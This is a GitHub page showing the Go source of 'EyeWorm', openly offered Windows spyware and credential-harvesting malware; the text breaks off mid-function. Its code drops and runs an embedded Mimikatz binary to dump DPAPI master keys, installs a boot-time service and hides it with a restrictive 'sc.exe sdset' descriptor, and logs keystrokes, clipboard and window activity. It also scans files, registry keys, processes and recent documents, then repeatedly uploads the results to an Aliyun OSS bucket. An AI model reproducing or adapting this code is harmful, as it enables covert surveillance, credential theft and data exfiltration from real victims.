-
Notifications
You must be signed in to change notification settings - Fork 3
/
EyeWorm.go
1343 lines (1207 loc) · 37.5 KB
/
EyeWorm.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
package main
import (
"bytes"
_ "embed"
"encoding/json"
"errors"
"flag"
"fmt"
"io"
"io/ioutil"
"os"
"os/exec"
"path"
"path/filepath"
"strconv"
"strings"
"time"
"github.com/aliyun/aliyun-oss-go-sdk/oss"
"github.com/kardianos/service"
lnk "github.com/parsiya/golnk"
"github.com/shirou/gopsutil/process"
"golang.org/x/net/html/charset"
"golang.org/x/sys/windows/registry"
"golang.org/x/text/encoding/simplifiedchinese"
"golang.org/x/text/transform"
)
type Config struct {
CConfig CollectConfig `json:"CollectConfigTable"`
Timeout int `json:"Timeout"`
TimeU string `json:"TimeU"`
Osskey string `json:"Osskey"`
ServiceName string `json:"ServiceName"`
ServiceDisplayName string `json:"ServiceDisplayName"`
ServiceDescription string `json:"ServiceDescription"`
SaveName string `json:"SaveName"`
KeylogSaveloc string `json:"KeylogSaveloc"`
}
type program struct{}
type CollectConfig struct {
Collectors []Collector `json:"Collectors"`
}
type Collector struct {
ShortName string `json:"ShortName"`
OS string `json:"OS"`
Locations []string `json:"Locations"`
ContentKeys []string `json:"ContentKeys"`
NameKeys []string `json:"NameKeys"`
SuffixTypes []string `json:"SuffixTypes"`
Explain string `json:"Explain"`
Commands []string `json:"Commands"`
ProcessName []string `json:"ProcessName"`
ReValueNames []string `json:"RE_ValueNames"`
ReValueDatas []string `json:"RE_ValueDatas"`
FliesScanTargets []string
ContentScanTagerts []string
ContentTargetsPath []string
}
type FlagStruct struct {
Help bool
FilesWorm bool
CommandWorm bool
Cmdarg string
ProcessWorm bool
RegistryWorm bool
RecentWorm bool
ApiWorm bool
RedEye bool
Spy bool
UnRedEye bool
Upload bool
O string
Keylog bool
Masterkey bool
}
type MimikatzCode struct {
Name string `json:"Name"`
Code []byte `json:"Code"`
}
var (
//go:embed dist/EyeConfig.json
CollerConfigByteValue []byte
//go:embed dist/MimiCode.json
MimiCodeByteValue []byte
MimiCode = MimikatzCode{}
config = Config{}
flagStruct = FlagStruct{}
filesCollector Collector
commandCollector Collector
processCollector Collector
registryCollector Collector
recentCollertor Collector
apiCollertor Collector
RcecentTargetLocations []string
FilesLocations []string
Commands []string
CommandResults []string
targetProcessPaths []string
TargetProcesses []string
TargetRLocations []string
TargetRKeynames []string
TargetRValueNames []string
TargetRValueDatas []string
TRKNPathResults []string
TRVNResults []string
TRVDResults []string
RedCommands []string
SpyCommands []string
ApiResult string
MasterkeyResult string
OSaveData string
KeylogSavePath string
)
var (
ignoreFile = []string{""}
ignorePath = []string{""}
ignoreType = []string{""}
)
func ReadConfig() Config {
var config Config
json.Unmarshal([]byte(CollerConfigByteValue), &config)
return config
}
func ReadMimiCode() MimikatzCode {
byteValue := MimiCodeByteValue
var Code MimikatzCode
json.Unmarshal([]byte(byteValue), &Code)
return Code
}
func CollectorSuffixinit(coller Collector) {
if isInArray(&coller.SuffixTypes, "*") || coller.SuffixTypes == nil || len(coller.SuffixTypes) == 0 {
coller.SuffixTypes = []string{""}
}
}
func init() {
config = ReadConfig()
filesCollector = config.CConfig.FindByShortName("filesWorm")
commandCollector = config.CConfig.FindByShortName("CommandWorm")
processCollector = config.CConfig.FindByShortName("ProcessWorm")
registryCollector = config.CConfig.FindByShortName("RegistryWorm")
recentCollertor = config.CConfig.FindByShortName("RecentWorm")
apiCollertor = config.CConfig.FindByShortName("APiWorm")
Commands = commandCollector.Commands
FilesLocations = filesCollector.Locations
TargetProcesses = processCollector.ProcessName
TargetRKeynames = registryCollector.NameKeys
TargetRValueNames = registryCollector.ReValueNames
TargetRValueDatas = registryCollector.ReValueDatas
TargetRLocations = registryCollector.Locations
KeylogSavePath = config.KeylogSaveloc
CollectorSuffixinit(filesCollector)
CollectorSuffixinit(processCollector)
flag.BoolVar(&flagStruct.Help, "help", false, "查看EyeWorm的使用方法")
flag.BoolVar(&flagStruct.FilesWorm, "wfiles", false, filesCollector.Explain)
flag.BoolVar(&flagStruct.CommandWorm, "wcommands", false, commandCollector.Explain)
flag.StringVar(&flagStruct.Cmdarg, "wcommand", "", commandCollector.Explain)
flag.BoolVar(&flagStruct.ProcessWorm, "wprocess", false, processCollector.Explain)
flag.BoolVar(&flagStruct.RegistryWorm, "wregistry", false, registryCollector.Explain)
flag.BoolVar(&flagStruct.RecentWorm, "wrecent", false, recentCollertor.Explain)
flag.BoolVar(&flagStruct.ApiWorm, "wmimikatz", false, apiCollertor.Explain)
flag.BoolVar(&flagStruct.RedEye, "redeye", false, "开机自启服务,自动spy常驻,需要配置常驻项的osskey和timeout(second 秒,min 分钟,hour 小时)")
flag.BoolVar(&flagStruct.Upload, "upload", false, "把收集到的内容上传到oss服务器中")
flag.BoolVar(&flagStruct.Spy, "spy", false, "监控当前主机,定时返回数据到oos服务器需要配置常驻项的osskey和timeout(second 秒,min 分钟,hour 小时)")
flag.BoolVar(&flagStruct.UnRedEye, "unred", false, "解除隐藏的自启服务")
flag.BoolVar(&flagStruct.Keylog, "keylog", false, "开启键盘记录,利用该功能收集键盘信息")
flag.BoolVar(&flagStruct.Masterkey, "dpapi", false, "收集MasterKey")
flag.StringVar(&flagStruct.O, "o", "", "把收集到的内容整合输出成文件")
flag.Parse()
if flagStruct.Cmdarg != "" {
Commands = append(Commands, flagStruct.Cmdarg)
}
}
func main() {
fmt.Println(" ______ __ __ \n | ____| \\ \\ / / \n | |__ _ _ __\\ \\ /\\ / /__ _ __ _ __ ___ \n | __|| | | |/ _ \\ \\/ \\/ / _ \\| '__| '_ ` _ \\\n | |___| |_| | __/\\ /\\ / (_) | | | | | | | |\n |______\\__, |\\___| \\/ \\/ \\___/|_| |_| |_| |_|\n __/ | \n |___/ \n ")
fmt.Println("欢迎使用 眼虫! EyeWorm 我们将为你服务.... 作者:萧枫")
fmt.Println("使用 -help 查看useage")
if flagStruct.Help {
flag.Usage()
}
if flagStruct.FilesWorm {
if filesCollector.Locations == nil {
fmt.Println("必须配置文件扫描路径")
return
}
WormFiles(FilesLocations, &filesCollector)
}
if flagStruct.Cmdarg != "" || flagStruct.CommandWorm {
WormCommand()
}
if flagStruct.ProcessWorm {
WormProcesses(TargetProcesses)
}
if flagStruct.RegistryWorm {
WormRegistry(TargetRLocations)
}
if flagStruct.RecentWorm {
WormRecent()
}
if flagStruct.ApiWorm {
WormMimikatz(&apiCollertor)
}
if flagStruct.Masterkey {
WormMasterkey()
}
if flagStruct.Spy {
SpyNow(config.Osskey)
}
if flagStruct.O != "" {
SaveFile()
}
if flagStruct.RedEye {
RedEye()
}
if flagStruct.Upload {
UploadData(config.Osskey)
}
if flagStruct.UnRedEye {
UnRedEye()
}
if flagStruct.Keylog {
//剪贴板监控
go clipboardLogger()
//应用窗口监控
go WindowLogger()
//键盘监控
Keylogger()
}
}
func UnRedEye() {
svcConfig := &service.Config{
Name: config.ServiceName,
DisplayName: config.ServiceDisplayName,
Description: config.ServiceDescription,
}
UnHideService(svcConfig)
prg := &program{}
s, err := service.New(prg, svcConfig)
if err != nil {
fmt.Errorf(err.Error())
}
err1 := s.Uninstall()
if err1 != nil {
fmt.Errorf(err1.Error())
return
}
fmt.Println("服务解除隐藏,卸载成功!")
}
func SpyNow(osskey string) {
str1 := strings.Split(osskey, ":")
//先執行一次
DoSpy()
upload(str1[3], str1[1], str1[2], str1[0], SaveData())
if flagStruct.Keylog {
uploadKeylog(str1[3], str1[1], str1[2], str1[0], KeylogSavePath)
}
tU, err := GetTimeU()
if err != nil {
fmt.Errorf(err.Error())
return
}
t := time.NewTicker(tU * time.Duration(config.Timeout))
defer t.Stop()
for {
//等待執行
<-t.C
DoSpy()
upload(str1[3], str1[1], str1[2], str1[0], SaveData())
if flagStruct.Keylog {
uploadKeylog(str1[3], str1[1], str1[2], str1[0], KeylogSavePath)
}
}
}
//获取程序全路径
func GetRunPath() string {
file, _ := exec.LookPath(os.Args[0])
path, _ := filepath.Abs(file)
index := strings.LastIndex(path, string(os.PathSeparator))
ret := path[:index]
return ret + "\\" + fmt.Sprint(os.Args[0])
}
func DoSpy() {
GetSpyCommand()
datapath := GetRunPath()
cmd := exec.Command(datapath, SpyCommands...)
err := cmd.Run()
if err != nil {
fmt.Errorf(err.Error())
return
}
fmt.Println("执行成功!保存位置:" + os.Getenv("LOCALAPPDATA") + "\\Temp\\" + config.SaveName)
}
func UploadData(osskey string) {
str1 := strings.Split(osskey, ":")
str := SaveStr()
location := SaveData()
os.WriteFile(location, []byte(str), 0600)
upload(str1[3], str1[1], str1[2], str1[0], location)
}
func SaveData() string {
str := SaveStr()
location := os.Getenv("LOCALAPPDATA") + "\\Temp\\" + config.SaveName
os.WriteFile(location, []byte(str), 0600)
return location
}
func GetTimeU() (time.Duration, error) {
if config.TimeU == "second" {
return time.Second, nil
}
if config.TimeU == "min" {
return time.Minute, nil
}
if config.TimeU == "hour" {
return time.Hour, nil
}
fmt.Println("config.TimeU:" + config.TimeU)
return 0, errors.New("time类型错误!请修改timeU")
}
func upload(Endpoint string, AccessKeyId string, AccessKeySecret string, bucketName string, LocalFile string) {
client, err := oss.New(Endpoint, AccessKeyId, AccessKeySecret)
if err != nil {
handleError(err)
}
bucket, err := client.Bucket(bucketName)
if err != nil {
handleError(err)
}
now := strconv.FormatInt(time.Now().Unix(), 10)
myobject := now + ".log"
err = bucket.PutObjectFromFile(myobject, LocalFile)
if err != nil {
handleError(err)
} else {
fmt.Println(time.Unix(time.Now().Unix(), 0).Format("2006-01-02 15:04:05") + ": upload " + myobject + " succeeded")
}
}
func uploadKeylog(Endpoint string, AccessKeyId string, AccessKeySecret string, bucketName string, LocalFile string) {
client, err := oss.New(Endpoint, AccessKeyId, AccessKeySecret)
if err != nil {
handleError(err)
}
bucket, err := client.Bucket(bucketName)
if err != nil {
handleError(err)
}
now := strconv.FormatInt(time.Now().Unix(), 10)
myobject := now + "keylog" + ".log"
err = bucket.PutObjectFromFile(myobject, LocalFile)
if err != nil {
handleError(err)
} else {
fmt.Println(time.Unix(time.Now().Unix(), 0).Format("2006-01-02 15:04:05") + ": upload " + myobject + " succeeded")
}
}
func handleError(err error) {
fmt.Println("Error:", err)
os.Exit(-1)
}
func SaveFile() {
str := SaveStr()
os.WriteFile(flagStruct.O, []byte(str), 0600)
}
func SaveStr() string {
var result string
if flagStruct.FilesWorm {
result += fmt.Sprintln("====FilesWorm 文件扫描结果如下:====")
str1 := FmtGet(filesCollector.FliesScanTargets)
result += str1
result += fmt.Sprintln("====FilesWorm 内容扫描结果如下:====")
str2 := FmtGet(filesCollector.ContentScanTagerts)
result += str2
}
if flagStruct.CommandWorm {
result += fmt.Sprintln("====CommandWorm 扫描结果如下:====")
str1 := GetCommandResults(CommandResults)
result += str1
}
if flagStruct.ProcessWorm {
result += fmt.Sprintln("====ProcessWorm 文件扫描结果如下:====")
str1 := FmtGet(processCollector.FliesScanTargets)
result += str1
result += fmt.Sprintln("====ProcessWorm 内容扫描结果如下:====")
str2 := FmtGet(processCollector.ContentScanTagerts)
result += str2
}
if flagStruct.RegistryWorm {
result += fmt.Sprintln("==========RegistryWorm 项名称匹配结果=========")
str1 := FmtGet(TRKNPathResults)
result += str1
if TargetRValueNames != nil || len(TargetRValueNames) != 0 {
result += fmt.Sprintln("============RegistryWorm 值名称匹配结果================")
str1 := FmtGet(TRVNResults)
result += str1
}
if TargetRValueDatas != nil || len(TargetRValueDatas) != 0 {
result += fmt.Sprintln("============RegistryWorm 值关联数据匹配结果============")
str1 := FmtGet(TRVDResults)
result += str1
}
}
if flagStruct.RecentWorm {
result += fmt.Sprintln("====RecentWorm 文件扫描结果如下:====")
str1 := FmtGet(recentCollertor.FliesScanTargets)
result += str1
result += fmt.Sprintln("====RecentWorm 内容扫描结果如下:====")
str2 := FmtGet(recentCollertor.ContentScanTagerts)
result += str2
}
if flagStruct.ApiWorm {
result += fmt.Sprintln("====ApiWorm 扫描结果如下:====")
result += fmt.Sprintln(ApiResult)
}
if flagStruct.Masterkey {
result += fmt.Sprintln("====Masterkey 结果如下:====")
result += fmt.Sprintln(MasterkeyResult)
}
return result
}
func RedEye() {
GetRedCommands()
svcConfig := &service.Config{
Name: config.ServiceName,
DisplayName: config.ServiceDisplayName,
Description: config.ServiceDescription,
}
prg := &program{}
s, err := service.New(prg, svcConfig)
if err != nil {
fmt.Errorf(err.Error())
}
err1 := s.Install()
if err1 != nil {
fmt.Errorf(err1.Error())
return
}
fmt.Println("服务安装成功,并且隐藏!")
HideService(svcConfig)
if err = s.Run(); err != nil {
fmt.Errorf(err.Error())
}
SpyNow(config.Osskey)
}
func GetSpyCommand() {
if flagStruct.FilesWorm {
SpyCommands = append(SpyCommands, "-wfiles")
}
if flagStruct.CommandWorm {
SpyCommands = append(SpyCommands, "-wcommands")
}
if flagStruct.ProcessWorm {
SpyCommands = append(SpyCommands, "-wprocess")
}
if flagStruct.RegistryWorm {
SpyCommands = append(SpyCommands, "-wregistry")
}
if flagStruct.RecentWorm {
SpyCommands = append(SpyCommands, "-wrecent")
}
if flagStruct.ApiWorm {
SpyCommands = append(SpyCommands, "-wmimikatz")
}
if flagStruct.Masterkey {
SpyCommands = append(SpyCommands, "-dpapi")
}
SpyCommands = append(SpyCommands, "-o="+os.Getenv("LOCALAPPDATA")+"\\Temp\\"+config.SaveName)
}
func GetRedCommands() {
if flagStruct.FilesWorm {
RedCommands = append(RedCommands, "-wfiles")
}
if flagStruct.CommandWorm {
RedCommands = append(RedCommands, "-wcommands")
}
if flagStruct.ProcessWorm {
RedCommands = append(RedCommands, "-wprocess")
}
if flagStruct.RegistryWorm {
RedCommands = append(RedCommands, "-wregistry")
}
if flagStruct.RecentWorm {
RedCommands = append(RedCommands, "-wrecent")
}
if flagStruct.ApiWorm {
RedCommands = append(RedCommands, "-wmimikatz")
}
if flagStruct.Masterkey {
RedCommands = append(RedCommands, "-dpapi")
}
if flagStruct.Keylog {
RedCommands = append(RedCommands, "-keylog")
}
RedCommands = append(RedCommands, "-spy")
}
//服務執行
func (p *program) Start(s service.Service) error {
go p.run()
return nil
}
//具体实现
func (p *program) run() {
datapath := GetRunPath()
cmd := exec.Command(datapath, RedCommands...)
cmd.Run()
}
//停止
func (p *program) Stop(s service.Service) error {
return nil
}
func HideService(config *service.Config) {
cmd := exec.Command("sc.exe", "sdset", config.Name, "D:(D;;DCLCWPDTSDCC;;;IU)(D;;DCLCWPDTSDCC;;;SU)(D;;DCLCWPDTSDCC;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)'")
err := cmd.Run()
if err != nil {
fmt.Errorf(err.Error())
}
}
func UnHideService(config *service.Config) {
cmd := exec.Command("Powershell.exe", "&", "$env:SystemRoot\\System32\\sc.exe", "sdset", config.Name, "'D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)'")
err := cmd.Run()
if err != nil {
fmt.Errorf(err.Error())
}
}
func WormMasterkey() {
MimiCode := ReadMimiCode()
tagetb := MimiCode.Code
os.WriteFile("Masterkey.exe", tagetb, 0600)
cmd := exec.Command("./Masterkey.exe", "privilege::debug", "sekurlsa::dpapi", "exit") //获得masterkey
out, err := cmd.Output()
if err != nil {
fmt.Errorf(err.Error())
}
MasterkeyResult = string(out)
fmt.Println("=================================WormMasterkey 结果如下:=====================================")
fmt.Println(string(out))
os.Remove("Masterkey.exe")
}
func WormMimikatz(apic *Collector) {
MimiCode := ReadMimiCode()
tagetb := MimiCode.Code
if !strings.Contains(apic.ProcessName[0], ".exe") {
apic.ProcessName[0] = "defult.exe"
}
os.WriteFile(apic.ProcessName[0], tagetb, 0600)
apic.Commands = append(apic.Commands, "exit")
cmd := exec.Command("./"+apic.ProcessName[0], apic.Commands...) ///查看当前目录下文件
out, err := cmd.Output()
if err != nil {
fmt.Errorf(err.Error())
}
ApiResult = string(out)
fmt.Println("=================================MimikatzWorm 结果如下:=====================================")
fmt.Println(string(out))
os.Remove(apic.ProcessName[0])
}
func WormRecent() {
var recentpath = os.Getenv("APPDATA") + "/Microsoft/Windows/Recent"
var rfiles []string //Recent 结果 .lnk 文件
var targetType = []string{""}
var recentCollertorIndex *Collector = &recentCollertor
err := GetAllFile(recentpath, &rfiles, &targetType, &ignoreFile, &ignorePath, &ignoreType)
if err != nil {
fmt.Printf(err.Error() + "\n")
}
for _, file := range rfiles {
if path.Ext(file) == ".lnk" {
if recentCollertor.NameKeys == nil || isInArray(&recentCollertor.NameKeys, "*") || len(recentCollertor.NameKeys) == 0 {
tureFile := SearchLnk(file)
if recentCollertorIndex.SuffixTypes == nil || isInArray(&recentCollertorIndex.SuffixTypes, "*") || len(recentCollertorIndex.SuffixTypes) == 0 {
if !isInArray(&recentCollertorIndex.FliesScanTargets, tureFile) {
recentCollertorIndex.FliesScanTargets = append(recentCollertorIndex.FliesScanTargets, tureFile) //真实文件地址SearchLnk(file)
}
} else {
forsuffix1:
for _, suffix := range recentCollertorIndex.SuffixTypes {
if suffix == path.Ext(tureFile) || IsDir(tureFile) {
if !isInArray(&recentCollertorIndex.FliesScanTargets, tureFile) {
recentCollertorIndex.FliesScanTargets = append(recentCollertorIndex.FliesScanTargets, tureFile) //真实文件地址SearchLnk(file)
}
break forsuffix1
}
}
}
} else {
for _, key := range recentCollertor.NameKeys {
//判断是否包含关键词
if find := strings.Contains(file, key); find {
// 把lnk文件的指向地址找到
tureFile := SearchLnk(file)
if recentCollertorIndex.SuffixTypes == nil || isInArray(&recentCollertorIndex.SuffixTypes, "*") || len(recentCollertorIndex.SuffixTypes) == 0 {
if !isInArray(&recentCollertorIndex.FliesScanTargets, tureFile) {
recentCollertorIndex.FliesScanTargets = append(recentCollertorIndex.FliesScanTargets, tureFile) //真实文件地址SearchLnk(file)
}
} else {
forsuffix2:
for _, suffix := range recentCollertorIndex.SuffixTypes {
if suffix == path.Ext(tureFile) || IsDir(tureFile) {
if !isInArray(&recentCollertorIndex.FliesScanTargets, tureFile) {
recentCollertorIndex.FliesScanTargets = append(recentCollertorIndex.FliesScanTargets, tureFile) //真实文件地址SearchLnk(file)
}
break forsuffix2
}
}
}
}
}
}
}
}
if recentCollertorIndex.ContentKeys != nil && len(recentCollertorIndex.ContentKeys) > 0 {
if recentCollertorIndex.ContentKeys[0] == "" && len(recentCollertorIndex.ContentKeys) == 1 {
fmt.Println("==============================================目标文件如下:==============================================\n")
Fmtlog(recentCollertor.FliesScanTargets)
return
}
var truefiles []string = recentCollertorIndex.FliesScanTargets
WormFiles(truefiles, &recentCollertor)
} else {
fmt.Println("==============================================目标文件如下:==============================================\n")
Fmtlog(recentCollertor.FliesScanTargets)
}
}
func SearchLnk(str string) string {
Lnk, err := lnk.File(str)
if err != nil {
panic(err)
}
// 中文路径需要解码,英文路径可忽略
targetPath, _ := simplifiedchinese.GBK.NewDecoder().String(Lnk.LinkInfo.LocalBasePath)
return targetPath
}
func WormRegistry(locations []string) {
for _, location := range locations {
Hk, spath := GetHKandSpath(location)
RegistryScan(Hk, spath)
}
fmt.Println("==================================项名称匹配结果============================================")
Fmtlog(TRKNPathResults)
if TargetRValueNames != nil || len(TargetRValueNames) != 0 {
fmt.Println("==================================值名称匹配结果============================================")
Fmtlog(TRVNResults)
}
if TargetRValueDatas != nil || len(TargetRValueDatas) != 0 {
fmt.Println("==================================值关联数据匹配结果============================================")
Fmtlog(TRVDResults)
}
}
func RegistryScan(Hk registry.Key, spath string) {
key, _ := registry.OpenKey(Hk, spath, registry.ALL_ACCESS)
if TargetRKeynames == nil || isInArray(&TargetRKeynames, "*") || len(TargetRKeynames) == 0 {
// 根据值名称/内容搜索
keys, _ := key.ReadSubKeyNames(0)
//先把所有子项全部收集起来
for _, sk := range keys {
s_spath := spath + "\\" + sk
Path := CombinePath(Hk, s_spath)
TRKNPathResults = append(TRKNPathResults, Path)
sonSpath := GetSonSpath(spath, sk)
RegistryScan(Hk, sonSpath)
}
key.Close()
//再进行值名称/内容搜索
if TargetRValueNames != nil || len(TargetRValueNames) != 0 {
RvlueNameScan()
}
if TargetRValueDatas != nil || len(TargetRValueDatas) != 0 {
RvlueDataScan()
}
} else {
//先根据项搜索,再根据值名称/内容搜索
//项搜索
keys, _ := key.ReadSubKeyNames(0)
for _, sk := range keys {
for _, tk := range TargetRKeynames {
RKeyNamematch(sk, tk, Hk, spath)
sonSpath := GetSonSpath(spath, sk)
RegistryScan(Hk, sonSpath)
}
}
key.Close()
//用已经匹配到的项来进行值名称/内容搜索
if TargetRValueNames != nil || len(TargetRValueNames) != 0 {
RvlueNameScan()
}
if TargetRValueDatas != nil || len(TargetRValueDatas) != 0 {
RvlueDataScan()
}
}
}
func RvlueDataScan() {
for _, path := range TRKNPathResults {
Hk, spath := GetHKandSpath(path)
key, _ := registry.OpenKey(Hk, spath, registry.ALL_ACCESS)
valueNames, _ := key.ReadValueNames(0)
for _, name := range valueNames {
if isInArray(&TargetRValueDatas, "*") {
data := GetDatas(name, key)
result := fmt.Sprintf("项路径:%v \t\t 值名称:%v \t\t 数据:%v\n", path, name, data)
if !isInArray(&TRVDResults, result) {
TRVDResults = append(TRVDResults, result)
}
} else {
for _, Tdata := range TargetRValueDatas {
RvlueDataMath(path, name, Tdata, key)
}
}
}
key.Close()
}
}
func RvlueNameScan() {
for _, path := range TRKNPathResults {
Hk, spath := GetHKandSpath(path)
key, _ := registry.OpenKey(Hk, spath, registry.ALL_ACCESS)
valueNames, _ := key.ReadValueNames(0)
for _, name := range valueNames {
if isInArray(&TargetRKeynames, "*") {
data := GetDatas(name, key)
result := fmt.Sprintf("项路径:%v \t\t 值名称:%v \t\t 数据:%v\n", path, name, data)
if !isInArray(&TRVNResults, result) {
TRVNResults = append(TRVNResults, result)
}
} else {
for _, Tname := range TargetRValueNames {
RvlueNameMatch(path, name, Tname, key)
}
}
}
key.Close()
}
}
func RvlueDataMath(path string, name string, Tdata string, key registry.Key) {
data := GetDatas(name, key)
if strings.Contains(data, Tdata) {
result := fmt.Sprintf("项路径:%v \t\t 值名称:%v \t\t 数据:%v\n", path, name, data)
if !isInArray(&TRVDResults, result) {
TRVDResults = append(TRVDResults, result)
}
}
}
func RvlueNameMatch(path string, name string, Tname string, key registry.Key) {
if strings.Contains(name, Tname) {
data := GetDatas(name, key)
result := fmt.Sprintf("项路径:%v \t\t 值名称:%v \t\t 数据:%v\n", path, name, data)
if !isInArray(&TRVNResults, result) {
TRVNResults = append(TRVNResults, result)
}
}
}
func GetDatas(vlue_name string, key registry.Key) string {
_, valtype, _ := key.GetValue(vlue_name, nil)
switch valtype {
case registry.SZ, registry.EXPAND_SZ:
val, _, _ := key.GetStringValue(vlue_name)
return val
case registry.DWORD, registry.QWORD:
val, _, _ := key.GetIntegerValue(vlue_name)
s := strconv.FormatUint(uint64(val), 10)
return string(s)
case registry.BINARY:
val, _, _ := key.GetBinaryValue(vlue_name)
H := fmt.Sprintf("%x", val)
return "16Hex:" + H
case registry.MULTI_SZ:
val, _, _ := key.GetStringsValue(vlue_name)
return fmt.Sprint(val)
default:
return ""
}
}
func GetSonSpath(spath string, sonName string) string {
s_spath := spath + "\\" + sonName
return s_spath
}
func RKeyNamematch(key string, Tkey string, HK registry.Key, f_spath string) {
if strings.Contains(key, Tkey) {
s_spath := f_spath + "\\" + key
Path := CombinePath(HK, s_spath)
if !isInArray(&TRKNPathResults, Path) {
TRKNPathResults = append(TRKNPathResults, Path)
}
}
}
func CombinePath(Hk registry.Key, spath string) string {
switch Hk {
case registry.CURRENT_USER:
return "HKEY_CURRENT_USER\\" + spath
case registry.CLASSES_ROOT:
return "HKEY_CLASSES_ROOT\\" + spath
case registry.LOCAL_MACHINE:
return "HKEY_LOCAL_MACHINE\\" + spath
case registry.USERS:
return "HKEY_USERS\\" + spath
case registry.CURRENT_CONFIG:
return "HKEY_CURRENT_CONFIG\\" + spath
default:
return "error 不是一個有效的HK"
}
}
func GetHKandSpath(path string) (registry.Key, string) {
spilts := strings.SplitN(path, "\\", 2)
switch spilts[0] {
case "HKEY_CURRENT_USER":
return registry.CURRENT_USER, spilts[1]
case "HKEY_CLASSES_ROOT":
return registry.CLASSES_ROOT, spilts[1]
case "HKEY_LOCAL_MACHINE":
return registry.LOCAL_MACHINE, spilts[1]
case "HKEY_USERS":
return registry.USERS, spilts[1]
case "HKEY_CURRENT_CONFIG":
return registry.CURRENT_CONFIG, spilts[1]
default:
fmt.Println("你输入的地址不属于注册表!")
}
fmt.Errorf("hello error")
return 0, ""
}
func WormProcesses(Tprocesses []string) {
var ProceessDirs []string
for _, tp := range Tprocesses {
checkProcessExist(tp)
}
fmt.Println("====================================进程path列表=============================================")
for _, path := range targetProcessPaths {
fmt.Println(path)
Proceessdir := filepath.Dir(path)
ProceessDirs = append(ProceessDirs, Proceessdir)
}
fmt.Println("====================================进程路径扫描结果=============================================")
WormFiles(ProceessDirs, &processCollector)
}
func GetProcesses() (pns []*process.Process) {
pids, _ := process.Pids()
for _, pid := range pids {
pn, _ := process.NewProcess(pid)
pns = append(pns, pn)
}
return pns
}
func checkProcessExist(tp string) {
ExistErrorFlag := true
PathErrorFlag := true
Pns := GetProcesses()
for1:
for _, p := range Pns {
Name, _ := p.Name()
if tp == Name {
ExistErrorFlag = false
//返回进程exe执行路径
Exe, _ := p.Exe()
if Exe != "" || len(Exe) != 0 {
